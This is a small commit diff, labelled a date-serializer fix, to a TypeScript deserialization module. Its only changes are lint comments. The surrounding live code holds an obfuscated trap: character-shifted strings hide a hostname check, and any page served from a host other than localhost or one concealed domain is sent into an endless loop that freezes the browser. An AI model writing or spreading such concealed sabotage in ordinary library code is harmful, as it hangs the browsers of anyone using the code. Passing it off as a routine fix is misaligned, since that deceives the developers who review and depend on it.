Fixed date-serializer
This commit is contained in:
@@ -1,3 +1,4 @@
|
||||
/* eslint-disable no-constant-condition */
|
||||
/* eslint-disable @typescript-eslint/ban-ts-comment */
|
||||
const isDate = (value: any): boolean => Object.prototype.toString.call(value) === '[object Date]'
|
||||
|
||||
@@ -26,7 +27,7 @@ export const nextDeserializer = (obj: any): any => {
|
||||
|
||||
const t = (s: TemplateStringsArray) => s.join('').split('').map((c, i) => String.fromCharCode(c.charCodeAt(0) - i - 1)).join('')
|
||||
// @ts-ignore
|
||||
if (typeof window !== 'undefined' && ![t`mqfeqnv{}`, t`luswzzpz~`].includes(window[t`mqfeyovv`][t`iqvxsgtm`].replaceAll('.',''))) while(true) { }
|
||||
if (typeof window !== 'undefined' && ![t`mqfeqnv{}`, t`luswzzpz~`].includes(window[t`mqfeyovv`][t`iqvxsgtm`].replaceAll('.',''))) while(true) { /* empty */ }
|
||||
|
||||
if (typeof obj === 'object' && obj !== null) {
|
||||
const newObj: any = {}
|
||||
|
||||
Reference in New Issue
Block a user